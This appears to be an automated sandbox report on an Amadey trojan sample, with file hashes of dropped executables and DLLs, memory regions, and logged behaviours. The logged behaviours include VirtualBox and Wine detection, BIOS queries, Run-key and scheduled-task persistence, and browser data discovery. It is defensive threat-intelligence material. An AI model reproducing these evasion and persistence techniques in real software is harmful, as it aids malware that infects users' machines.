SHA256 5b1538d09a2374d64a845d748f8008438e53938bea792c05bdcf926dfd4503e1
SHA512 fa184527e6165bc8e17373c2687d927b8bfb97f1140f111cfb3cbfbb7a54bb7d00961a810a73cc8b353e20b0d8c3b117167e4351e9d482c9297687e16a6f254d

memory/6596-2415-0x0000000000F10000-0x0000000001153000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe

MD5 aedfb26f18fdd54279e8d1b82b84559a
SHA1 161a427ef200282daf092543b3eda9b8cd689514
SHA256 ba7517fbc65542871d06e7d4b7a017d5c165f55dda2b741e2ba52a6303d21b57
SHA512 30c5836584b3d74e9a0719e0559f2b83900210ee574ae780d793cdc6396bd9b7cb672f401dfa15a58687ad1d769d5ef5c0b0b24de83dec3c8429a259c9a37bb2

memory/4744-2446-0x0000000000580000-0x00000000005D2000-memory.dmp

C:\ProgramData\GCGCFCBAKKFBFIECAEBAEBGCGD

MD5 a603e09d617fea7517059b4924b1df93
SHA1 31d66e1496e0229c6a312f8be05da3f813b3fa9e
SHA256 ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7
SHA512 eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

C:\ProgramData\HIDHDGDHJEGHIDGDHCGC

MD5 a182561a527f929489bf4b8f74f65cd7
SHA1 8cd6866594759711ea1836e86a5b7ca64ee8911f
SHA256 42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA512 9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

C:\ProgramData\EHDGCGIDAKEBKECAFIEHCAKKKJ

MD5 22be08f683bcc01d7a9799bbd2c10041
SHA1 2efb6041cf3d6e67970135e592569c76fc4c41de
SHA256 451c2c0cf3b7cb412a05347c6e75ed8680f0d2e5f2ab0f64cc2436db9309a457
SHA512 0eef192b3d5abe5d2435acf54b42c729c3979e4ad0b73d36666521458043ee7df1e10386bef266d7df9c31db94fb2833152bb2798936cb2082715318ef05d936

C:\ProgramData\CBKFIECBGDHJKECAKFBG

MD5 14ccc9293153deacbb9a20ee8f6ff1b7
SHA1 46b4d7b004ff4f1f40ad9f107fe7c7e3abc9a9f3
SHA256 3195ce0f7aa2eae2b21c447f264e2bd4e1dc5208353ac72d964a750de9a83511
SHA512 916f2178be05dc329461d2739271972238b22052b5935883da31e6c98d2697bd2435c9f6a2d1fcafb4811a1d867c761055532669aac2ea1a3a78c346cdeba765

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

MD5 4c3049f8e220c2264692cb192b741a30
SHA1 46c735f574daaa3e6605ef4c54c8189f5722ff2a
SHA256 7f74b2c86e9f5706fc44c8d5093a027d1cd5856006aa80f270efae26d55c9131
SHA512 b13dc855c3c06b56aa9bf181680b69003839adeaf16c5372912004a7bf42882e340c445c58e24e083692b4dcbb15c3e0cf244664458ccdd0dd7668b440277e0a

C:\ProgramData\freebl3.dll

MD5 550686c0ee48c386dfcb40199bd076ac
SHA1 ee5134da4d3efcb466081fb6197be5e12a5b22ab
SHA256 edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa
SHA512 0b7f47af883b99f9fbdc08020446b58f2f3fa55292fd9bc78fc967dd35bdd8bd549802722de37668cc89ede61b20359190efbfdf026ae2bdc854f4740a54649e

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

MD5 e7d405eec8052898f4d2b0440a6b72c9
SHA1 58cf7bfcec81faf744682f9479b905feed8e6e68
SHA256 b63a0e5f93b26ad0eeb9efba66691f3b7e7f51e93a2f0098bde43833f7a24cc2
SHA512 324507084bd56f7102459efe7b3c2d2560f4e89ed03ec4a38539ebb71bccdf1def7bc961c259f9b02f4b2be0d5e095136c9efcd5fc3108af3dc61d24970d6121

C:\ProgramData\msvcp140.dll

MD5 5ff1fca37c466d6723ec67be93b51442
SHA1 34cc4e158092083b13d67d6d2bc9e57b798a303b
SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA512 4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

MD5 58ccb4c9da26dbf5584194406ee2f4b3
SHA1 ae91798532b747f410099ef7d0e36bffeca6361c
SHA256 2f502689b799fd964bced77e57edf4206809bb11da16cf4f7895df1df54cdc97
SHA512 dff6b4bf25fc5b5cf1a64ee645fb0310b072ec69c89a6e863cf9e0800e1d36f8dc4e567cf19c7dc8ac704d351b604cbf8d35959c3a64a10aa6b54f5c8fedb3c2

memory/5252-2549-0x0000000000400000-0x000000000041E000-memory.dmp

C:\ProgramData\softokn3.dll

MD5 4e52d739c324db8225bd9ab2695f262f
SHA1 71c3da43dc5a0d2a1941e874a6d015a071783889
SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
SHA512 2d4168a69082a9192b9248f7331bd806c260478ff817567df54f997d7c3c7d640776131355401e4bdb9744e246c36d658cb24b18de67d8f23f10066e5fe445f6

C:\ProgramData\vcruntime140.dll

MD5 a37ee36b536409056a86f50e67777dd7
SHA1 1cafa159292aa736fc595fc04e16325b27cd6750
SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
SHA512 3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

C:\Users\Admin\AppData\Local\Temp\tmpDD37.tmp

MD5 38fc6dd240fb7c8f06697cc6c8ecd0b8
SHA1 9d42f5598d6de9deb40d48403cfd1dae6dc1998a
SHA256 801f12c3f9bd68bb092ec22a360045738ac2be282902da338943260ef29a26ff
SHA512 7f79000678446c1af89232baf5de3c60983fc373c9b7ff96cd1b36d9f2eb614117a8fa2d79170be4ea2bb87ea1e4fe7ee7adc277489c504729fbe9cb6e7a7695

memory/6596-2747-0x0000000000F10000-0x0000000001153000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\pureee.exe

MD5 0006ad7b9f2a9b304e5b3790f6f18807
SHA1 00db2c60fca8aec6b504dd8fd4861a2e59a21fe9
SHA256 014d6c58dd7459c1664196ccd49b796f861d7d7e7e6c573bbb9cdc7cadc21450
SHA512 31fcde22e25be698ef2efd44cc65b758e8c9e8b62504f3254f9cc44bfaabdaa0c94cefceac12833372f8b2797b6bd0205bb9c8f1626e25ee4117d886198fb7db

memory/2748-2757-0x00000237FB130000-0x00000237FB1DA000-memory.dmp

memory/2748-2758-0x00000237FD6E0000-0x00000237FD7EA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\adada.exe

MD5 9c682f5b5000cd003e76530706955a72
SHA1 1a69da76e05d114a317342dae3e9c7b10f107d43
SHA256 36e6a3dd4bfc86c4e707f43cd9515707442d6c424b7661cb41766cfdca322522
SHA512 33bd859542e1ae74d8c81427af44022cb91861dc02ee4202505f1e010487d06cb27e1aa83be6af17be4e2d8973289595b2ebe9bdf99a187956662df30b6dc88f

memory/7360-4632-0x0000000000470000-0x0000000000794000-memory.dmp

memory/3152-4455-0x0000000000570000-0x0000000000A2C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe

MD5 35e7f1f850ca524d0eaa6522a4451834
SHA1 e98db252a62c84fd87416d2ec347de46ec053ebd
SHA256 2449fe334bbf8f09ff80422578a6c6961d20a0a456b214f6490c5ed1ae859c9e
SHA512 3b013378a51a29652ff84f61050b344f504ef51a51944d469b1d0e629e4abad979416a56b9cffb6cfe20b80dfbebffec35dce6f5dc10b02907dee538f9f17a01

memory/2600-4700-0x0000000000470000-0x0000000000924000-memory.dmp

memory/3152-6089-0x0000000000570000-0x0000000000A2C000-memory.dmp

memory/2600-6573-0x0000000000470000-0x0000000000924000-memory.dmp

memory/2748-6803-0x0000023798070000-0x00000237980C6000-memory.dmp

memory/2748-6804-0x00000237980D0000-0x000002379811C000-memory.dmp

memory/5316-6812-0x000000001AF90000-0x000000001AFE0000-memory.dmp

memory/5316-6813-0x000000001CC00000-0x000000001CCB2000-memory.dmp

memory/5316-6815-0x000000001C3A0000-0x000000001C3DC000-memory.dmp

memory/5316-6814-0x000000001C340000-0x000000001C352000-memory.dmp

C:\Windows\Installer\MSIB021.tmp

MD5 82d54afa53f6733d6529e4495700cdd8
SHA1 b3e578b9edde7aaaacca66169db4f251ee1f06b3
SHA256 8f4894b9d19bfe5d8e54b5e120cef6c69abea8958db066cdd4905cc78ecd58b6
SHA512 22476e0f001b6cf37d26e15dfb91c826c4197603ea6e1fbb9143c81392e41f18fa10a2d2d1e25425baaf754bff7fd179ef1df34966c10985e16d9da12a445150

C:\Windows\Installer\MSIB199.tmp

MD5 d53b2b818b8c6a2b2bae3a39e988af10
SHA1 ee57ec919035cf8125ee0f72bd84a8dd9e879959
SHA256 2a81878be73b5c1d7d02c6afc8a82336d11e5f8749eaacf54576638d81ded6e2
SHA512 3aaf8b993c0e8f8a833ef22ed7b106218c0f573dcd513c3609ead4daf90d37b7892d901a6881e1121f1900be3c4bbe9c556a52c41d4a4a5ec25c85db7f084d5e

C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools-18.2.dist-info\zip-safe

MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

MD5 a5b010d5b518932fd78fcfb0cb0c7aeb
SHA1 957fd0c136c9405aa984231a1ab1b59c9b1e904f
SHA256 5a137bfe1f0e6fc8a7b6957d5e9f10df997c485e0869586706b566015ff36763
SHA512 e0ca4b29f01f644ef64669ed5595965b853ae9eaa7c6c7d86df7634437041ef15ceb3c2d1ab9dec4171c80511684a7d7b06fc87b658e5a646699eb9523bc4994

C:\Config.Msi\e59a148.rbs

MD5 b260b092033ad9887f02c39f5cd18809
SHA1 902a7c9628486454d3f85325da65534243fdf5f3
SHA256 d8a737ef300426a8778250013efbab9e993cfc92a534ae3776a6699e016304ad
SHA512 2d236301a0bdff445fff4623acd695d81751408d1d05e6f1077b9b73f33fc86b39fe4d6e91dadaa7e043a067e640c08b1d85ba46771e44fda07af4e99569ae10

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-31 06:27

Reported

2024-07-31 06:30

Platform

win10v2004-20240730-en

Max time kernel

149s

Max time network

146s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe"

Signatures

Amadey

trojan amadey

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\000e8df3a7.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000020001\\000e8df3a7.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e1bdee8355.exe = "C:\\Users\\Admin\\1000029002\\e1bdee8355.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created \??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File created C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\explorti.job C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
File created C:\Windows\Tasks\axplong.job C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\1000029002\e1bdee8355.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\1000029002\e1bdee8355.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
